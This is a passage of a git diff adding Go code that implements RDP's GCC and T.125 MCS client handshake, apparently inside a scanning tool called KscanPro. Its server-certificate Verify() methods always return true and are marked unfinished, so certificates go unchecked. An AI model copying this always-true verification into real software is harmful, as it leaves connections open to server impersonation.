+ RNS_UD_24BPP_SUPPORT uint16 = 0x0001
+ RNS_UD_16BPP_SUPPORT = 0x0002
+ RNS_UD_15BPP_SUPPORT = 0x0004
+ RNS_UD_32BPP_SUPPORT = 0x0008
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx
+ */
+type CapabilityFlag uint16
+
+const (
+ RNS_UD_CS_SUPPORT_ERRINFO_PDU uint16 = 0x0001
+ RNS_UD_CS_WANT_32BPP_SESSION = 0x0002
+ RNS_UD_CS_SUPPORT_STATUSINFO_PDU = 0x0004
+ RNS_UD_CS_STRONG_ASYMMETRIC_KEYS = 0x0008
+ RNS_UD_CS_UNUSED = 0x0010
+ RNS_UD_CS_VALID_CONNECTION_TYPE = 0x0020
+ RNS_UD_CS_SUPPORT_MONITOR_LAYOUT_PDU = 0x0040
+ RNS_UD_CS_SUPPORT_NETCHAR_AUTODETECT = 0x0080
+ RNS_UD_CS_SUPPORT_DYNVC_GFX_PROTOCOL = 0x0100
+ RNS_UD_CS_SUPPORT_DYNAMIC_TIME_ZONE = 0x0200
+ RNS_UD_CS_SUPPORT_HEARTBEAT_PDU = 0x0400
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx
+ */
+type ConnectionType uint8
+
+const (
+ CONNECTION_TYPE_MODEM ConnectionType = 0x01
+ CONNECTION_TYPE_BROADBAND_LOW = 0x02
+ CONNECTION_TYPE_SATELLITEV = 0x03
+ CONNECTION_TYPE_BROADBAND_HIGH = 0x04
+ CONNECTION_TYPE_WAN = 0x05
+ CONNECTION_TYPE_LAN = 0x06
+ CONNECTION_TYPE_AUTODETECT = 0x07
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240510.aspx
+ */
+type VERSION uint32
+
+const (
+ RDP_VERSION_4 VERSION = 0x00080001
+ RDP_VERSION_5_PLUS = 0x00080004
+)
+
+type Sequence uint16
+
+const (
+ RNS_UD_SAS_DEL Sequence = 0xAA03
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240511.aspx
+ */
+type EncryptionMethod uint32
+
+const (
+ ENCRYPTION_FLAG_40BIT uint32 = 0x00000001
+ ENCRYPTION_FLAG_128BIT = 0x00000002
+ ENCRYPTION_FLAG_56BIT = 0x00000008
+ FIPS_ENCRYPTION_FLAG = 0x00000010
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240518.aspx
+ */
+type EncryptionLevel uint32
+
+const (
+ ENCRYPTION_LEVEL_NONE EncryptionLevel = 0x00000000
+ ENCRYPTION_LEVEL_LOW = 0x00000001
+ ENCRYPTION_LEVEL_CLIENT_COMPATIBLE = 0x00000002
+ ENCRYPTION_LEVEL_HIGH = 0x00000003
+ ENCRYPTION_LEVEL_FIPS = 0x00000004
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240513.aspx
+ */
+type ChannelOptions uint32
+
+const (
+ CHANNEL_OPTION_INITIALIZED ChannelOptions = 0x80000000
+ CHANNEL_OPTION_ENCRYPT_RDP = 0x40000000
+ CHANNEL_OPTION_ENCRYPT_SC = 0x20000000
+ CHANNEL_OPTION_ENCRYPT_CS = 0x10000000
+ CHANNEL_OPTION_PRI_HIGH = 0x08000000
+ CHANNEL_OPTION_PRI_MED = 0x04000000
+ CHANNEL_OPTION_PRI_LOW = 0x02000000
+ CHANNEL_OPTION_COMPRESS_RDP = 0x00800000
+ CHANNEL_OPTION_COMPRESS = 0x00400000
+ CHANNEL_OPTION_SHOW_PROTOCOL = 0x00200000
+ REMOTE_CONTROL_PERSISTENT = 0x00100000
+)
+
+/**
+ * IBM_101_102_KEYS is the most common keyboard type
+ */
+type KeyboardType uint32
+
+const (
+ KT_IBM_PC_XT_83_KEY KeyboardType = 0x00000001
+ KT_OLIVETTI = 0x00000002
+ KT_IBM_PC_AT_84_KEY = 0x00000003
+ KT_IBM_101_102_KEYS = 0x00000004
+ KT_NOKIA_1050 = 0x00000005
+ KT_NOKIA_9140 = 0x00000006
+ KT_JAPANESE = 0x00000007
+)
+
+/**
+ * @see http://technet.microsoft.com/en-us/library/cc766503%28WS.10%29.aspx
+ */
+type KeyboardLayout uint32
+
+const (
+ ARABIC KeyboardLayout = 0x00000401
+ BULGARIAN = 0x00000402
+ CHINESE_US_KEYBOARD = 0x00000404
+ CZECH = 0x00000405
+ DANISH = 0x00000406
+ GERMAN = 0x00000407
+ GREEK = 0x00000408
+ US = 0x00000409
+ SPANISH = 0x0000040a
+ FINNISH = 0x0000040b
+ FRENCH = 0x0000040c
+ HEBREW = 0x0000040d
+ HUNGARIAN = 0x0000040e
+ ICELANDIC = 0x0000040f
+ ITALIAN = 0x00000410
+ JAPANESE = 0x00000411
+ KOREAN = 0x00000412
+ DUTCH = 0x00000413
+ NORWEGIAN = 0x00000414
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240521.aspx
+ */
+type CertificateType uint32
+
+const (
+ CERT_CHAIN_VERSION_1 CertificateType = 0x00000001
+ CERT_CHAIN_VERSION_2 = 0x00000002
+)
+
+type ChannelDef struct {
+ Name [8]byte
+ Options uint32
+}
+
+type ClientCoreData struct {
+ RdpVersion VERSION `struc:"uint32,little"`
+ DesktopWidth uint16 `struc:"little"`
+ DesktopHeight uint16 `struc:"little"`
+ ColorDepth ColorDepth `struc:"little"`
+ SasSequence Sequence `struc:"little"`
+ KbdLayout KeyboardLayout `struc:"little"`
+ ClientBuild uint32 `struc:"little"`
+ ClientName [32]byte `struc:"[32]byte"`
+ KeyboardType uint32 `struc:"little"`
+ KeyboardSubType uint32 `struc:"little"`
+ KeyboardFnKeys uint32 `struc:"little"`
+ ImeFileName [64]byte `struc:"[64]byte"`
+ PostBeta2ColorDepth ColorDepth `struc:"little"`
+ ClientProductId uint16 `struc:"little"`
+ SerialNumber uint32 `struc:"little"`
+ HighColorDepth HighColor `struc:"little"`
+ SupportedColorDepths uint16 `struc:"little"`
+ EarlyCapabilityFlags uint16 `struc:"little"`
+ ClientDigProductId [64]byte `struc:"[64]byte"`
+ ConnectionType uint8 `struc:"uint8"`
+ Pad1octet uint8 `struc:"uint8"`
+ ServerSelectedProtocol uint32 `struc:"little"`
+}
+
+func NewClientCoreData() *ClientCoreData {
+ name, _ := os.Hostname()
+ var ClientName [32]byte
+ copy(ClientName[:], core.UnicodeEncode(name)[:])
+ return &ClientCoreData{
+ RDP_VERSION_5_PLUS, 1280, 800, RNS_UD_COLOR_8BPP,
+ RNS_UD_SAS_DEL, US, 3790, ClientName, KT_IBM_101_102_KEYS,
+ 0, 12, [64]byte{}, RNS_UD_COLOR_8BPP, 1, 0, HIGH_COLOR_24BPP,
+ RNS_UD_15BPP_SUPPORT | RNS_UD_16BPP_SUPPORT | RNS_UD_24BPP_SUPPORT | RNS_UD_32BPP_SUPPORT,
+ RNS_UD_CS_SUPPORT_ERRINFO_PDU, [64]byte{}, 0, 0, 0}
+}
+
+func (data *ClientCoreData) Block() []byte {
+ buff := &bytes.Buffer{}
+ core.WriteUInt16LE(CS_CORE, buff) // 01C0
+ core.WriteUInt16LE(0xd8, buff) // d800
+ struc.Pack(buff, data)
+ return buff.Bytes()
+}
+
+type ClientNetworkData struct {
+ ChannelCount uint32
+ ChannelDefArray []ChannelDef
+}
+
+func NewClientNetworkData() *ClientNetworkData {
+ return &ClientNetworkData{}
+}
+
+func (d *ClientNetworkData) Block() []byte {
+ buff := &bytes.Buffer{}
+ core.WriteUInt16LE(CS_NET, buff) // type
+ core.WriteUInt16LE(0x08, buff) // len 8
+ buff.Write([]byte{0, 0, 0, 0}) // data
+ return buff.Bytes()
+}
+
+type ClientSecurityData struct {
+ EncryptionMethods uint32
+ ExtEncryptionMethods uint32
+}
+
+func NewClientSecurityData() *ClientSecurityData {
+ return &ClientSecurityData{
+ ENCRYPTION_FLAG_40BIT | ENCRYPTION_FLAG_56BIT | ENCRYPTION_FLAG_128BIT,
+ 00}
+}
+
+func (d *ClientSecurityData) Block() []byte {
+ buff := &bytes.Buffer{}
+ core.WriteUInt16LE(CS_SECURITY, buff) // type
+ core.WriteUInt16LE(0x0c, buff) // len 12
+ core.WriteUInt32LE(d.EncryptionMethods, buff)
+ core.WriteUInt32LE(d.ExtEncryptionMethods, buff)
+ return buff.Bytes()
+}
+
+type RSAPublicKey struct {
+ Magic uint32 `struc:"little"` //0x31415352
+ Keylen uint32 `struc:"little,sizeof=Modulus"`
+ Bitlen uint32 `struc:"little"`
+ Datalen uint32 `struc:"little"`
+ PubExp uint32 `struc:"little"`
+ Modulus []byte `struc:"little"`
+ Padding []byte `struc:"[8]byte"`
+}
+
+type ProprietaryServerCertificate struct {
+ DwSigAlgId uint32 `struc:"little"` //0x00000001
+ DwKeyAlgId uint32 `struc:"little"` //0x00000001
+ PublicKeyBlobType uint16 `struc:"little"` //0x0006
+ PublicKeyBlobLen uint16 `struc:"little,sizeof=PublicKeyBlob"`
+ PublicKeyBlob RSAPublicKey `struc:"little"`
+ SignatureBlobType uint16 `struc:"little"` //0x0008
+ SignatureBlobLen uint16 `struc:"little,sizeof=SignatureBlob"`
+ SignatureBlob []byte `struc:"little"`
+ //PaddingLen uint16 `struc:"little,sizeof=Padding,skip"`
+ Padding []byte `struc:"[8]byte"`
+}
+
+func (p *ProprietaryServerCertificate) GetPublicKey() (uint32, []byte) {
+ return p.PublicKeyBlob.PubExp, p.PublicKeyBlob.Modulus
+}
+func (p *ProprietaryServerCertificate) Verify() bool {
+ //todo
+ return true
+}
+func (p *ProprietaryServerCertificate) Encrypt() []byte {
+ //todo
+ return nil
+}
+func (p *ProprietaryServerCertificate) Unpack(r io.Reader) error {
+ p.DwSigAlgId, _ = core.ReadUInt32LE(r)
+ p.DwKeyAlgId, _ = core.ReadUInt32LE(r)
+ p.PublicKeyBlobType, _ = core.ReadUint16LE(r)
+ p.PublicKeyBlobLen, _ = core.ReadUint16LE(r)
+ var b RSAPublicKey
+ b.Magic, _ = core.ReadUInt32LE(r)
+ b.Keylen, _ = core.ReadUInt32LE(r)
+ b.Bitlen, _ = core.ReadUInt32LE(r)
+ b.Datalen, _ = core.ReadUInt32LE(r)
+ b.PubExp, _ = core.ReadUInt32LE(r)
+ b.Modulus, _ = core.ReadBytes(int(b.Keylen)-8, r)
+ b.Padding, _ = core.ReadBytes(8, r)
+ p.PublicKeyBlob = b
+ p.SignatureBlobType, _ = core.ReadUint16LE(r)
+ p.SignatureBlobLen, _ = core.ReadUint16LE(r)
+ p.SignatureBlob, _ = core.ReadBytes(int(p.SignatureBlobLen)-8, r)
+ p.Padding, _ = core.ReadBytes(8, r)
+
+ return nil
+}
+
+type CertBlob struct {
+ CbCert uint32 `struc:"little,sizeof=AbCert"`
+ AbCert []byte `struc:"little"`
+}
+type X509CertificateChain struct {
+ NumCertBlobs uint32 `struc:"little,sizeof=CertBlobArray"`
+ CertBlobArray []CertBlob `struc:"little"`
+ Padding []byte `struc:"little"`
+}
+
+func (p *X509CertificateChain) GetPublicKey() (uint32, []byte) {
+ //todo
+ return 0, nil
+}
+func (p *X509CertificateChain) Verify() bool {
+ return true
+}
+func (p *X509CertificateChain) Encrypt() []byte {
+
+ //todo
+ return nil
+}
+func (p *X509CertificateChain) Unpack(r io.Reader) error {
+ return struc.Unpack(r, p)
+}
+
+type ServerCoreData struct {
+ RdpVersion VERSION `struc:"uint32,little"`
+ ClientRequestedProtocol uint32 `struc:"little"`
+ EarlyCapabilityFlags uint32 `struc:"little"`
+}
+
+func NewServerCoreData() *ServerCoreData {
+ return &ServerCoreData{
+ RDP_VERSION_5_PLUS, 0, 0}
+}
+
+func (d *ServerCoreData) Serialize() []byte {
+ return []byte{}
+}
+
+func (d *ServerCoreData) ScType() Message {
+ return SC_CORE
+}
+func (d *ServerCoreData) Unpack(r io.Reader) error {
+ return struc.Unpack(r, d)
+}
+
+type ServerNetworkData struct {
+ MCSChannelId uint16 `struc:"little"`
+ ChannelCount uint16 `struc:"little,sizeof=ChannelIdArray"`
+ ChannelIdArray []uint16 `struc:"little"`
+}
+
+func NewServerNetworkData() *ServerNetworkData {
+ return &ServerNetworkData{}
+}
+func (d *ServerNetworkData) ScType() Message {
+ return SC_NET
+}
+func (d *ServerNetworkData) Unpack(r io.Reader) error {
+ return struc.Unpack(r, d)
+}
+
+type CertData interface {
+ GetPublicKey() (uint32, []byte)
+ Verify() bool
+ Unpack(io.Reader) error
+}
+type ServerCertificate struct {
+ DwVersion uint32
+ CertData CertData
+}
+type ServerSecurityData struct {
+ EncryptionMethod uint32 `struc:"little"`
+ EncryptionLevel uint32 `struc:"little"`
+ ServerRandomLen uint32 //0x00000020
+ ServerCertLen uint32
+ ServerRandom []byte
+ ServerCertificate ServerCertificate
+}
+
+func NewServerSecurityData() *ServerSecurityData {
+ return &ServerSecurityData{
+ 0, 0, 0x00000020, 0, []byte{}, ServerCertificate{}}
+}
+func (d *ServerSecurityData) ScType() Message {
+ return SC_SECURITY
+}
+func (s *ServerSecurityData) Unpack(r io.Reader) error {
+ s.EncryptionMethod, _ = core.ReadUInt32LE(r)
+ s.EncryptionLevel, _ = core.ReadUInt32LE(r)
+ if !(s.EncryptionMethod == 0 && s.EncryptionLevel == 0) {
+ s.ServerRandomLen, _ = core.ReadUInt32LE(r)
+ s.ServerCertLen, _ = core.ReadUInt32LE(r)
+ s.ServerRandom, _ = core.ReadBytes(int(s.ServerRandomLen), r)
+ var sc ServerCertificate
+ data, _ := core.ReadBytes(int(s.ServerCertLen), r)
+ rd := bytes.NewReader(data)
+ sc.DwVersion, _ = core.ReadUInt32LE(rd)
+ var cd CertData
+ switch CertificateType(sc.DwVersion & 0x7fffffff) {
+ case CERT_CHAIN_VERSION_1:
+ glog.Debug("ProprietaryServerCertificate")
+ cd = &ProprietaryServerCertificate{}
+ case CERT_CHAIN_VERSION_2:
+ glog.Debug("X509CertificateChain")
+ cd = &X509CertificateChain{}
+ default:
+ glog.Error("Unsupported version:", sc.DwVersion&0x7fffffff)
+ return errors.New("Unsupported version")
+ }
+ if cd != nil {
+ //err := struc.Unpack(rd, cd)
+ err := cd.Unpack(rd)
+ if err != nil {
+ glog.Error("Unpack:", err)
+ return err
+ }
+ glog.Infof("d:%+v", cd)
+ }
+ sc.CertData = cd
+ s.ServerCertificate = sc
+ }
+
+ return nil
+}
+
+func MakeConferenceCreateRequest(userData []byte) []byte {
+ buff := &bytes.Buffer{}
+ per.WriteChoice(0, buff) // 00
+ per.WriteObjectIdentifier(t124_02_98_oid, buff) // 05:00:14:7c:00:01
+ per.WriteLength(len(userData)+14, buff)
+ per.WriteChoice(0, buff) // 00
+ per.WriteSelection(0x08, buff) // 08
+ per.WriteNumericString("1", 1, buff) // 00 10
+ per.WritePadding(1, buff) // 00
+ per.WriteNumberOfSet(1, buff) // 01
+ per.WriteChoice(0xc0, buff) // c0
+ per.WriteOctetStream(h221_cs_key, 4, buff) // 00 44:75:63:61
+ per.WriteOctetStream(string(userData), 0, buff)
+ return buff.Bytes()
+}
+
+type ScData interface {
+ ScType() Message
+ Unpack(io.Reader) error
+}
+
+func ReadConferenceCreateResponse(data []byte) []interface{} {
+ ret := make([]interface{}, 0, 3)
+ r := bytes.NewReader(data)
+ per.ReadChoice(r)
+ if !per.ReadObjectIdentifier(r, t124_02_98_oid) {
+ glog.Error("NODE_RDP_PROTOCOL_T125_GCC_BAD_OBJECT_IDENTIFIER_T124")
+ return ret
+ }
+ per.ReadLength(r)
+ per.ReadChoice(r)
+ per.ReadInteger16(r)
+ per.ReadInteger(r)
+ per.ReadEnumerates(r)
+ per.ReadNumberOfSet(r)
+ per.ReadChoice(r)
+
+ if !per.ReadOctetStream(r, h221_sc_key, 4) {
+ glog.Error("NODE_RDP_PROTOCOL_T125_GCC_BAD_H221_SC_KEY")
+ return ret
+ }
+
+ glog.Debug("all:", SC_CORE, SC_SECURITY, SC_NET,
+ CS_CORE, CS_SECURITY, CS_NET, CS_CLUSTER, CS_MONITOR)
+
+ ln, _ := per.ReadLength(r)
+ for ln > 0 {
+ t, _ := core.ReadUint16LE(r)
+ l, _ := core.ReadUint16LE(r)
+ dataBytes, _ := core.ReadBytes(int(l)-4, r)
+ ln = ln - l
+ var d ScData
+ switch Message(t) {
+ case SC_CORE:
+ d = &ServerCoreData{}
+ case SC_SECURITY:
+ d = &ServerSecurityData{}
+ case SC_NET:
+ d = &ServerNetworkData{}
+ default:
+ glog.Error("Unknown type", t)
+ continue
+ }
+ r := bytes.NewReader(dataBytes)
+ err := d.Unpack(r)
+ if err != nil {
+ glog.Error("Unpack:", err)
+ if err.Error() != "EOF" {
+ return ret
+ }
+ }
+ ret = append(ret, d)
+ glog.Debugf("d:%+v", d)
+ }
+
+ return ret
+}
diff --git a/lib/grdp/protocol/t125/mcs.go b/lib/grdp/protocol/t125/mcs.go
new file mode 100644
index 0000000..3532eb9
--- /dev/null
+++ b/lib/grdp/protocol/t125/mcs.go
@@ -0,0 +1,537 @@
+package t125
+
+import (
+ "bytes"
+ "encoding/hex"
+ "errors"
+ "fmt"
+ "io"
+ "reflect"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/emission"
+ "KscanPro/lib/grdp/glog"
+ "KscanPro/lib/grdp/protocol/t125/ber"
+ "KscanPro/lib/grdp/protocol/t125/gcc"
+ "KscanPro/lib/grdp/protocol/t125/per"
+)
+
+// take idea from https://github.com/Madnikulin50/gordp
+
+// Multiple Channel Service layer
+
+type MCSMessage uint8
+
+const (
+ MCS_TYPE_CONNECT_INITIAL MCSMessage = 0x65
+ MCS_TYPE_CONNECT_RESPONSE = 0x66
+)
+
+type MCSDomainPDU uint16
+
+const (
+ ERECT_DOMAIN_REQUEST MCSDomainPDU = 1
+ DISCONNECT_PROVIDER_ULTIMATUM = 8
+ ATTACH_USER_REQUEST = 10
+ ATTACH_USER_CONFIRM = 11
+ CHANNEL_JOIN_REQUEST = 14
+ CHANNEL_JOIN_CONFIRM = 15
+ SEND_DATA_REQUEST = 25
+ SEND_DATA_INDICATION = 26
+)
+
+const (
+ MCS_GLOBAL_CHANNEL uint16 = 1003
+ MCS_USERCHANNEL_BASE = 1001
+)
+
+/**
+ * Format MCS PDULayer header packet
+ * @param mcsPdu {integer}
+ * @param options {integer}
+ * @returns {type.UInt8} headers
+ */
+func writeMCSPDUHeader(mcsPdu MCSDomainPDU, options uint8, w io.Writer) {
+ core.WriteUInt8((uint8(mcsPdu)<<2)|options, w)
+}
+
+func readMCSPDUHeader(options uint8, mcsPdu MCSDomainPDU) bool {
+ return (options >> 2) == uint8(mcsPdu)
+}
+
+type DomainParameters struct {
+ MaxChannelIds int
+ MaxUserIds int
+ MaxTokenIds int
+ NumPriorities int
+ MinThoughput int
+ MaxHeight int
+ MaxMCSPDUsize int
+ ProtocolVersion int
+}
+
+/**
+ * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25
+ * @returns {asn1.univ.Sequence}
+ */
+func NewDomainParameters(
+ maxChannelIds int,
+ maxUserIds int,
+ maxTokenIds int,
+ numPriorities int,
+ minThoughput int,
+ maxHeight int,
+ maxMCSPDUsize int,
+ protocolVersion int) *DomainParameters {
+ return &DomainParameters{maxChannelIds, maxUserIds, maxTokenIds,
+ numPriorities, minThoughput, maxHeight, maxMCSPDUsize, protocolVersion}
+}
+
+func (d *DomainParameters) BER() []byte {
+ buff := &bytes.Buffer{}
+ ber.WriteInteger(d.MaxChannelIds, buff)
+ ber.WriteInteger(d.MaxUserIds, buff)
+ ber.WriteInteger(d.MaxTokenIds, buff)
+ ber.WriteInteger(1, buff)
+ ber.WriteInteger(0, buff)
+ ber.WriteInteger(1, buff)
+ ber.WriteInteger(d.MaxMCSPDUsize, buff)
+ ber.WriteInteger(2, buff)
+ return buff.Bytes()
+}
+
+func ReadDomainParameters(r io.Reader) (*DomainParameters, error) {
+ if !ber.ReadUniversalTag(ber.TAG_SEQUENCE, true, r) {
+ return nil, errors.New("bad BER tags")
+ }
+ d := &DomainParameters{}
+ ber.ReadLength(r)
+
+ d.MaxChannelIds, _ = ber.ReadInteger(r)
+ d.MaxUserIds, _ = ber.ReadInteger(r)
+ d.MaxTokenIds, _ = ber.ReadInteger(r)
+ ber.ReadInteger(r)
+ ber.ReadInteger(r)
+ ber.ReadInteger(r)
+ d.MaxMCSPDUsize, _ = ber.ReadInteger(r)
+ ber.ReadInteger(r)
+ return d, nil
+}
+
+/**
+ * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25
+ * @param userData {Buffer}
+ * @returns {asn1.univ.Sequence}
+ */
+type ConnectInitial struct {
+ CallingDomainSelector []byte
+ CalledDomainSelector []byte
+ UpwardFlag bool
+ TargetParameters DomainParameters
+ MinimumParameters DomainParameters
+ MaximumParameters DomainParameters
+ UserData []byte
+}
+
+func NewConnectInitial(userData []byte) ConnectInitial {
+ return ConnectInitial{[]byte{0x1},
+ []byte{0x1},
+ true,
+ *NewDomainParameters(34, 2, 0, 1, 0, 1, 0xffff, 2),
+ *NewDomainParameters(1, 1, 1, 1, 0, 1, 0x420, 2),
+ *NewDomainParameters(0xffff, 0xfc17, 0xffff, 1, 0, 1, 0xffff, 2),
+ userData}
+}
+
+func (c *ConnectInitial) BER() []byte {
+ buff := &bytes.Buffer{}
+ ber.WriteOctetstring(string(c.CallingDomainSelector), buff)
+ ber.WriteOctetstring(string(c.CalledDomainSelector), buff)
+ ber.WriteBoolean(c.UpwardFlag, buff)
+ ber.WriteEncodedDomainParams(c.TargetParameters.BER(), buff)
+ ber.WriteEncodedDomainParams(c.MinimumParameters.BER(), buff)
+ ber.WriteEncodedDomainParams(c.MaximumParameters.BER(), buff)
+ ber.WriteOctetstring(string(c.UserData), buff)
+ return buff.Bytes()
+}
+
+/**
+ * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25
+ * @returns {asn1.univ.Sequence}
+ */
+
+type ConnectResponse struct {
+ result uint8
+ calledConnectId int
+ domainParameters *DomainParameters
+ userData []byte
+}
+
+func NewConnectResponse(userData []byte) *ConnectResponse {
+ return &ConnectResponse{0,
+ 0,
+ NewDomainParameters(22, 3, 0, 1, 0, 1, 0xfff8, 2),
+ userData}
+}
+
+func ReadConnectResponse(r io.Reader) (*ConnectResponse, error) {
+ c := &ConnectResponse{}
+ var err error
+ _, err = ber.ReadApplicationTag(MCS_TYPE_CONNECT_RESPONSE, r)
+ if err != nil {
+ return nil, err
+ }
+ c.result, err = ber.ReadEnumerated(r)
+ if err != nil {
+ return nil, err
+ }
+
+ c.calledConnectId, err = ber.ReadInteger(r)
+ c.domainParameters, err = ReadDomainParameters(r)
+ if err != nil {
+ return nil, err
+ }
+ if !ber.ReadUniversalTag(ber.TAG_OCTET_STRING, false, r) {
+ return nil, errors.New("invalid expected BER tag")
+ }
+ dataLen, _ := ber.ReadLength(r)
+ c.userData, err = core.ReadBytes(dataLen, r)
+ return c, err
+}
+
+type MCSChannelInfo struct {
+ ID uint16
+ Name string
+}
+
+type MCS struct {
+ emission.Emitter
+ transport core.Transport
+ recvOpCode MCSDomainPDU
+ sendOpCode MCSDomainPDU
+ channels []MCSChannelInfo
+}
+
+func NewMCS(t core.Transport, recvOpCode MCSDomainPDU, sendOpCode MCSDomainPDU) *MCS {
+ m := &MCS{
+ *emission.NewEmitter(),
+ t,
+ recvOpCode,
+ sendOpCode,
+ []MCSChannelInfo{{MCS_GLOBAL_CHANNEL, "global"}},
+ }
+
+ m.transport.On("close", func() {
+ m.Emit("close")
+ }).On("error", func(err error) {
+ m.Emit("error", err)
+ })
+ return m
+}
+
+func (x *MCS) Read(b []byte) (n int, err error) {
+ return x.transport.Read(b)
+}
+
+func (x *MCS) Write(b []byte) (n int, err error) {
+ return x.transport.Write(b)
+}
+
+func (m *MCS) Close() error {
+ return m.transport.Close()
+}
+
+type MCSClient struct {
+ *MCS
+ clientCoreData *gcc.ClientCoreData
+ clientNetworkData *gcc.ClientNetworkData
+ clientSecurityData *gcc.ClientSecurityData
+
+ serverCoreData *gcc.ServerCoreData
+ serverNetworkData *gcc.ServerNetworkData
+ serverSecurityData *gcc.ServerSecurityData
+
+ channelsConnected int
+ userId uint16
+ nbChannelRequested int
+}
+
+func NewMCSClient(t core.Transport) *MCSClient {
+ c := &MCSClient{
+ MCS: NewMCS(t, SEND_DATA_INDICATION, SEND_DATA_REQUEST),
+ clientCoreData: gcc.NewClientCoreData(),
+ clientNetworkData: gcc.NewClientNetworkData(),
+ clientSecurityData: gcc.NewClientSecurityData(),
+ userId: 1 + MCS_USERCHANNEL_BASE,
+ }
+ c.transport.On("connect", c.connect)
+ return c
+}
+
+func (c *MCSClient) SetClientCoreData(width, height uint16) {
+ c.clientCoreData.DesktopWidth = width
+ c.clientCoreData.DesktopHeight = height
+}
+
+func (c *MCSClient) connect(selectedProtocol uint32) {
+ glog.Debug("mcs client on connect", selectedProtocol)
+ c.clientCoreData.ServerSelectedProtocol = selectedProtocol
+
+ // sendConnectInitial
+ userDataBuff := bytes.Buffer{}
+ userDataBuff.Write(c.clientCoreData.Block())
+ userDataBuff.Write(c.clientNetworkData.Block())
+ userDataBuff.Write(c.clientSecurityData.Block())
+
+ ccReq := gcc.MakeConferenceCreateRequest(userDataBuff.Bytes())
+ connectInitial := NewConnectInitial(ccReq)
+ connectInitialBerEncoded := connectInitial.BER()
+
+ dataBuff := &bytes.Buffer{}
+ ber.WriteApplicationTag(uint8(MCS_TYPE_CONNECT_INITIAL), len(connectInitialBerEncoded), dataBuff)
+ dataBuff.Write(connectInitialBerEncoded)
+
+ _, err := c.transport.Write(dataBuff.Bytes())
+ if err != nil {
+ c.Emit("error", errors.New(fmt.Sprintf("mcs sendConnectInitial write error %v", err)))
+ return
+ }
+ glog.Debug("mcs wait for data event")
+ c.transport.Once("data", c.recvConnectResponse)
+}
+
+func (c *MCSClient) recvConnectResponse(s []byte) {
+ glog.Debug("mcs recvConnectResponse", hex.EncodeToString(s))
+ cResp, err := ReadConnectResponse(bytes.NewReader(s))
+ if err != nil {
+ c.Emit("error", errors.New(fmt.Sprintf("ReadConnectResponse %v", err)))
+ return
+ }
+ // record server gcc block
+ serverSettings := gcc.ReadConferenceCreateResponse(cResp.userData)
+
+ for _, v := range serverSettings {
+
+ switch v.(type) {
+ case *gcc.ServerSecurityData:
+ c.serverSecurityData = v.(*gcc.ServerSecurityData)
+
+ case *gcc.ServerCoreData:
+ c.serverCoreData = v.(*gcc.ServerCoreData)
+
+ case *gcc.ServerNetworkData:
+ c.serverNetworkData = v.(*gcc.ServerNetworkData)
+
+ default:
+ err := errors.New(fmt.Sprintf("unhandle server gcc block %v", reflect.TypeOf(v)))
+ glog.Error(err)
+ c.Emit("error", err)
+ return
+ }
+ }
+ glog.Debugf("serverSecurityData: %+v", c.serverSecurityData)
+ glog.Debugf("serverCoreData: %+v", c.serverCoreData)
+ glog.Debugf("serverNetworkData: %+v", c.serverNetworkData)
+ glog.Debug("mcs sendErectDomainRequest")
+ c.sendErectDomainRequest()
+
+ glog.Debug("mcs sendAttachUserRequest")
+ c.sendAttachUserRequest()
+
+ c.transport.Once("data", c.recvAttachUserConfirm)
+}
+
+func (c *MCSClient) sendErectDomainRequest() {
+ buff := &bytes.Buffer{}
+ writeMCSPDUHeader(ERECT_DOMAIN_REQUEST, 0, buff)
+ per.WriteInteger(0, buff)
+ per.WriteInteger(0, buff)
+ c.transport.Write(buff.Bytes())
+}
+
+func (c *MCSClient) sendAttachUserRequest() {
+ buff := &bytes.Buffer{}
+ writeMCSPDUHeader(ATTACH_USER_REQUEST, 0, buff)
+ c.transport.Write(buff.Bytes())
+}
+
+func (c *MCSClient) recvAttachUserConfirm(s []byte) {
+ glog.Debug("mcs recvAttachUserConfirm", hex.EncodeToString(s))
+ r := bytes.NewReader(s)
+
+ option, err := core.ReadUInt8(r)
+ if err != nil {
+ c.Emit("error", err)
+ return
+ }
+
+ if !readMCSPDUHeader(option, ATTACH_USER_CONFIRM) {
+ c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_BAD_HEADER"))
+ return
+ }
+
+ e, err := per.ReadEnumerates(r)
+ if err != nil {
+ c.Emit("error", err)
+ return
+ }
+ if e != 0 {
+ c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_SERVER_REJECT_USER'"))
+ return
+ }
+
+ userId, _ := per.ReadInteger16(r)
+ userId += MCS_USERCHANNEL_BASE
+ c.userId = userId
+
+ c.channels = append(c.channels, MCSChannelInfo{userId, "user"})
+ c.connectChannels()
+}
+
+func (c *MCSClient) connectChannels() {
+ glog.Debug("mcs connectChannels:", c.channelsConnected, ":", len(c.channels))
+ if c.channelsConnected == len(c.channels) {
+ //if c.nbChannelRequested < int(c.serverNetworkData.ChannelCount) {
+ //static virtual channel
+ //chanId := c.serverNetworkData.ChannelIdArray[c.nbChannelRequested]
+ //c.nbChannelRequested++
+ //c.sendChannelJoinRequest(chanId)
+ //return
+ //}
+ c.transport.On("data", c.recvData)
+ // send client and sever gcc informations callback to sec
+ clientData := make([]interface{}, 0)
+ clientData = append(clientData, c.clientCoreData)
+ clientData = append(clientData, c.clientSecurityData)
+ clientData = append(clientData, c.clientNetworkData)
+
+ serverData := make([]interface{}, 0)
+
+ serverData = append(serverData, c.serverCoreData)
+ serverData = append(serverData, c.serverSecurityData)
+ glog.Debug("msc connectChannels callback to sec")
+ c.Emit("connect", clientData, serverData, c.userId, c.channels)
+ return
+ }
+
+ // sendChannelJoinRequest
+ glog.Debug("sendChannelJoinRequest:", c.channels[c.channelsConnected].Name)
+ c.sendChannelJoinRequest(c.channels[c.channelsConnected].ID)
+ c.channelsConnected += 1
+
+ c.transport.Once("data", c.recvChannelJoinConfirm)
+}
+
